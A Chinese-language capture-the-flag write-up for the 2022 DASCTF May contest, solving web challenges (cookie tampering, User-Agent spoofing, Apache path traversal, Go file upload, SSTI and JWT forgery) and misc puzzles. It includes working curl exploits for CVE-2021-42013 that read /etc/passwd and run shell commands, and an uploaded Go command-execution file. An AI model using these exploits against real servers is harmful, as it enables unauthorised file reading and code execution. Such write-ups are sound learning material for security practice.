2022DASCTF MAY 出题人挑战赛个人Writeup
感觉这次难度还比较友好,没有队友一个人肝了一天肝到第18,不过全是web和misc,有两道题耽搁时间有点久最后也没出。最后半个小时才开始看密码题,感觉再给点时间的话也能出,有点可惜。
文章目录
- WEB
- Power Cookie
- 魔法浏览器
- getme
- hackme
- fxxkgo
- MISC
- 不懂PCB的厨师不是好黑客
- 卡比
- 神必流量
WEB
Power Cookie
以游客身份登录,发现服务器返回了set-cookie
将set-cookie返回的值上送,并修改成管理员即可
Cookie: admin=1; Path=/; Domain=127.0.0.1; Max-Age=3600
魔法浏览器
查看源代码,找到魔法浏览器的UA值
重放报文并修改User-Agent
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Magic/100.0.4896.75
getme
本题考点CVE-2021-42013-Apache HTTP Server 2.4.50路径穿越漏洞
,直接上exp
可以实现任意文件读取
curl -v --path-as-is http://node4.buuoj.cn:25908/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
直接读根目录下的/flag
文件发现是个假的,然后再用命令执行的exp打,这里浪费了点时间,发现怎么都找不到flag,一度怀疑是否要提权。最后在/diajgk/djflgak/qweqr/eigopl/
这个路径下发现了,藏得也太深了。。。
curl -v --data "echo;more /diajgk/djflgak/qweqr/eigopl/fffffflalllallalagggggggggg -al" 'http://node4.buuoj.cn:25908/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
hackme
进入对应页面可以显示对应的内容,发现users
页面显示:
猜测页面对应的是users.go
文件。
发现存在/upload
页面,可以上传go文件,上传一个试试。
这里注意文件名只能是users.go
,别的文件名无效,这里应该是有白名单控制。
访问users
发现成功了。
下面思路就是上传一个可以命令执行的go文件,将结果输出到页面上,且文件名为users
,然后再访问users页面即可。
代码如下:
package main
import (
"bytes"
"fmt"
"log"
"os/exec"
)
const ShellToUse = "bash"
func Shellout(command string) (error, string, string) {var stdout bytes.Buffer
var stderr bytes.Buffer
cmd := exec.Command(ShellToUse, "-c", command)
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err := cmd.Run()
return err, stdout.String(), stderr.String()
}
func main() {err, out, errout := Shellout("cat /flag")
if err != nil {log.Printf("error: %v\n", err)
}
fmt.Println("--- stdout ---")
fmt.Println(out)
fmt.Println("--- stderr ---")
fmt.Println(errout)
}
fxxkgo
下载附件进行代码审计,一共给了如下几只接口:
func main() {admin := Account{admin_id, admin_pw, true, secret_key}acc = append(acc, admin)r := gin.Default()r.GET("/",index)// 登录后访问,返回idr.POST("/", rootHandler)// 获取flagr.POST("/flag", flagHandler)r.POST("/auth", authHandler)r.POST("/register", Resist)r.Run(":80")}
注册接口 /register
注册用户,上送id和pw
登录接口 /auth
登录用户,上送id和pw,返回token
返回的token
经过JWT编码,可以看到不是管理员
因此这里思路就是进行JWT伪造,不过首先需要知道JWT的密钥,接着往下看。
(不知道叫啥名字我暂且称之为)根目录接口
根据代码审计,服务器会拿请求头的X-Token
字段进行解码,因此我们上送一下
func rootHandler(c *gin.Context) {token := c.GetHeader("X-Token")if token != "" {id, _ := jwt_decode(token)acc := get_account(id)tpl, err := template.New("").Parse("Logged in as " + acc.id)if err != nil {}tpl.Execute(c.Writer, &acc)return} else {return}
}func flagHandler(c *gin.Context) {token := c.GetHeader("X-Token")if token != "" {id, is_admin := jwt_decode(token)if is_admin == true {p := Resp{true, "Hi " + id + ", flag is " + flag}res, err := json.Marshal(p)if err != nil {}c.JSON(200, string(res))return} else {c.JSON(403, gin.H{"code": 403,"status": "error",})return}}
}
发现可以回显用户的id
又根据代码审计,用户账户中有一个secret_key
字段,即为JWT的加密密钥。
type Account struct {id stringpw stringis_admin boolsecret_key string
}func jwt_encode(id string, is_admin bool) (string, error) {claims := AccountClaims{id, is_admin, jwt.StandardClaims{},}token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)return token.SignedString([]byte(secret_key))
}func jwt_decode(s string) (string, bool) {token, err := jwt.ParseWithClaims(s, &AccountClaims{}, func(token *jwt.Token) (interface{}, error) {return []byte(secret_key), nil})if err != nil {fmt.Println(err)return "", false}if claims, ok := token.Claims.(*AccountClaims); ok && token.Valid {return claims.Id, claims.Is_admin}return "", false
}
那么这里考虑利用SSTI
漏洞泄露出用户账户信息。
1、使用/register
接口注册,id上送为{{.}}
2、使用auth登录,得到token
3、请求头X-Token参数上送刚才2回显的token,访问根目录
得到密钥为fasdf972u1041xu90zm10Av
使用密钥伪造jwt,将is_admin
标识是否管理员的字段值修改为true
使用伪造的jwt请求flag即可
MISC
不懂PCB的厨师不是好黑客
下载附件,直接搜索关键字DAS
attachment/PCB/c004aa25e9434d05ba7ddeeafecc278c.epcb
,在这个文件内找到flag
卡比
经过信息搜集,发现是星之卡比·探索发现
中的神秘文字
解密得到ptrh{gwdvswvqbfiszsz}
根据密文结构推测是维吉尼亚密码
,尝试进行解密,密钥kirby
神必流量
分析流量包,发现有其中一个USBMS协议的流量传输了一个7z文件
将文件提取出来,解压需要密码,尝试弱密码123456
成功解压
打开是一个链接,是Google云盘的两个文件,下载需要科学上网
下载得到一个压缩包,仍然是弱密码123456
解压
得到一个main.exe
和output.txt
,尝试运行exe文件
逆向分析exe文件,将txt文件名修改为flag.txt,再次运行,得到flag
2022DASCTF MAY 出题人挑战赛个人Writeup相关推荐
- 2022DASCTF MAY 出题人挑战赛
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言 一.misc 1.不懂PCB的厨师不是好黑客 2.卡比 二.web 1. 2. 总结 前言 提示:这里可以添加本文要记 ...
- BAT华为美团头条面试考什么?这份GitHub万星资源,告诉你面试题+答案+出题人分析...
铜灵 发自 凹非寺 量子位 出品 | 公众号 QbitAI 2020校招脚步临近,怎样备战即将到来的面试,在众多面试者中脱颖而出惊艳到面试官,化身大厂Offer收割机? GitHub上就有这样一个万星 ...
- 牛客练习赛38 E 出题人的数组 2018ccpc桂林A题 贪心
https://ac.nowcoder.com/acm/contest/358/E 题意: 出题人有两个数组,A,B,请你把两个数组归并起来使得cost=∑i∗ci 最小,归并要求原数组的数的顺序在新 ...
- [选拔赛1]花园(矩阵快速幂),JM的月亮神树(最短路),保护出题人(斜率优化)
多年不考试,一夜回到解放前 T1:花园 title solution code T2:月亮神树 title solution code T3:保护出题人 title solution code T1: ...
- Java实现 LeetCode 521 最长特殊序列 Ⅰ(出题人:“就是喜欢看你们不敢相信那么简单,又不敢提交的样子。”)
521. 最长特殊序列 Ⅰ 给定两个字符串,你需要从这两个字符串中找出最长的特殊序列.最长特殊序列定义如下:该序列为某字符串独有的最长子序列(即不能是其他字符串的子序列). 子序列可以通过删去字符串中 ...
- 2019上半年阿里,腾讯,百度,美团,头条等技术面试题目,以及答案,专家出题人分析汇总...
一.阿里篇 1.1.1 如何实现一个高效的单向链表逆序输出? 1.1.2 已知sqrt(2)约等于1.414,要求不用数学库,求sqrt(2)精确到小数点后10位 1.1.3 给定一个二叉搜索树(BS ...
- [bzoj3203][SDOI2013]保护出题人
3203: [Sdoi2013]保护出题人 Time Limit: 3 Sec Memory Limit: 128 MB Submit: 389 Solved: 218 [Submit][Status ...
- 2020年最新总结,阿里,腾讯,百度,美团,头条等技术面试题目,以及答案,专家出题人分析汇总
2020年最新总结,阿里,腾讯,百度,美团,头条等技术面试题目,以及答案,专家出题人分析汇总 2020最新GitHub面经合集链接https://github.com/0voice/interview ...
- 字节跳动春招攻略:学长学姐笔经面经,还有出题人「锦囊」
正在参加春季校招的同学们,此刻可能是最紧张的了: 简历投出去了,什么时候才能收到笔试通知啊? 收到了笔试通知,最后两天还来得及做什么准备? 面试会问什么问题?怎么才能提升通过率.拿到更好的offer? ...
最新文章
- matlab v7.0,matlab下载-matlab免费版v7.0 官方版下载-6188手游网
- 一种mac使用机械键盘的解决方案
- 如何在企业内部实现云信私有化
- python创建线程
- 消除单点,一篇搞定 | 架构设计篇
- python爬虫实现方式_python爬虫的实现方法
- 有关分组、帧、报文、比特流的问题
- ie-此更新不适应于此电脑
- 手机图片怎么免费转换成PDF格式?教程来了
- 最新借条模板,如何写
- 中国证券业协会会员登记注册程序
- delphi 人脸比对_中控人脸/指纹机DEMO(delphi)
- 添加solidworks许可证服务器,SolidWorks许可服务器问题排查
- 【专家观点】超大规模数据要素市场体系下数据价格生成机制研究
- 集群服务器上的jupyter配置
- C语言里栈和堆的区别整理
- 领域驱动设计的重要性
- logback的xml文件,b站黑马程序员
- 我们如何全面转向 Kubernetes?
- android-支持多种屏幕[声明适用于 Android 3.2 的平板电脑布局] 七